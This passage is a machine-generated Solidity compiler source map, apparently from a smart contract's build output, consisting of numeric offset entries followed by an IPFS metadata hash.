507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:422;3306:1;3349:5;3306:1;3363:270;3384:7;3374:8;3371:21;3363:270;;;3443:4;3439:1;3435:6;3431:17;3425:4;3422:27;3419:53;;;3452:18;;:::i;:::-;3502:7;3492:8;3488:22;3485:55;;;3522:16;;;;3485:55;3601:22;;;;3561:15;;;;3363:270;;;3367:3;3217:422;;;;;:::o;3644:806::-;3693:5;3723:8;3713:80;;-1:-1:-1;3764:1:1;3778:5;;3713:80;3812:4;3802:76;;-1:-1:-1;3849:1:1;3863:5;;3802:76;3894:4;3912:1;3907:59;;;;3980:1;3975:130;;;;3887:218;;3907:59;3937:1;3928:10;;3951:5;;;3975:130;4012:3;4002:8;3999:17;3996:43;;;4019:18;;:::i;:::-;-1:-1:-1;;4075:1:1;4061:16;;4090:5;;3887:218;;4189:2;4179:8;4176:16;4170:3;4164:4;4161:13;4157:36;4151:2;4141:8;4138:16;4133:2;4127:4;4124:12;4120:35;4117:77;4114:159;;;-1:-1:-1;4226:19:1;;;4258:5;;4114:159;4305:34;4330:8;4324:4;4305:34;:::i;:::-;4375:6;4371:1;4367:6;4363:19;4354:7;4351:32;4348:58;;;4386:18;;:::i;:::-;4424:20;;3644:806;-1:-1:-1;;;3644:806:1:o;4455:140::-;4513:5;4542:47;4583:4;4573:8;4569:19;4563:4;4542:47;:::i;4600:168::-;4673:9;;;4704;;4721:15;;;4715:22;;4701:37;4691:71;;4742:18;;:::i;4773:356::-;4975:2;4957:21;;;4994:18;;;4987:30;5053:34;5048:2;5033:18;;5026:62;5120:2;5105:18;;4773:356::o;5486:251::-;5556:6;5609:2;5597:9;5588:7;5584:23;5580:32;5577:52;;;5625:1;5622;5615:12;5577:52;5657:9;5651:16;5676:31;5701:5;5676:31;:::i;6663:306::-;6751:6;6759;6767;6820:2;6808:9;6799:7;6795:23;6791:32;6788:52;;;6836:1;6833;6826:12;6788:52;6865:9;6859:16;6849:26;;6915:2;6904:9;6900:18;6894:25;6884:35;;6959:2;6948:9;6944:18;6938:25;6928:35;;6663:306;;;;;:::o;7253:277::-;7320:6;7373:2;7361:9;7352:7;7348:23;7344:32;7341:52;;;7389:1;7386;7379:12;7341:52;7421:9;7415:16;7474:5;7467:13;7460:21;7453:5;7450:32;7440:60;;7496:1;7493;7486:12;10393:125;10458:9;;;10479:10;;;10476:36;;;10492:18;;:::i;10878:135::-;10917:3;10938:17;;;10935:43;;10958:18;;:::i;:::-;-1:-1:-1;11005:1:1;10994:13;;10878:135::o;11018:128::-;11085:9;;;11106:11;;;11103:37;;;11120:18;;:::i;11283:127::-;11344:10;11339:3;11335:20;11332:1;11325:31;11375:4;11372:1;11365:15;11399:4;11396:1;11389:15;11415:980;11677:4;11725:3;11714:9;11710:19;11756:6;11745:9;11738:25;11782:2;11820:6;11815:2;11804:9;11800:18;11793:34;11863:3;11858:2;11847:9;11843:18;11836:31;11887:6;11922;11916:13;11953:6;11945;11938:22;11991:3;11980:9;11976:19;11969:26;;12030:2;12022:6;12018:15;12004:29;;12051:1;12061:195;12075:6;12072:1;12069:13;12061:195;;;12140:13;;-1:-1:-1;;;;;12136:39:1;12124:52;;12231:15;;;;12196:12;;;;12172:1;12090:9;12061:195;;;-1:-1:-1;;;;;;;12312:32:1;;;;12307:2;12292:18;;12285:60;-1:-1:-1;;;12376:3:1;12361:19;12354:35;12273:3;11415:980;-1:-1:-1;;;11415:980:1:o;12400:217::-;12440:1;12466;12456:132;;12510:10;12505:3;12501:20;12498:1;12491:31;12545:4;12542:1;12535:15;12573:4;12570:1;12563:15;12456:132;-1:-1:-1;12602:9:1;;12400:217::o;13024:184::-;13094:6;13147:2;13135:9;13126:7;13122:23;13118:32;13115:52;;;13163:1;13160;13153:12;13115:52;-1:-1:-1;13186:16:1;;13024:184;-1:-1:-1;13024:184:1:o

ipfs://9ac393bd73251fa49d2ac31643720c1eae3dc085ba98dd1ca826348c3ae322c1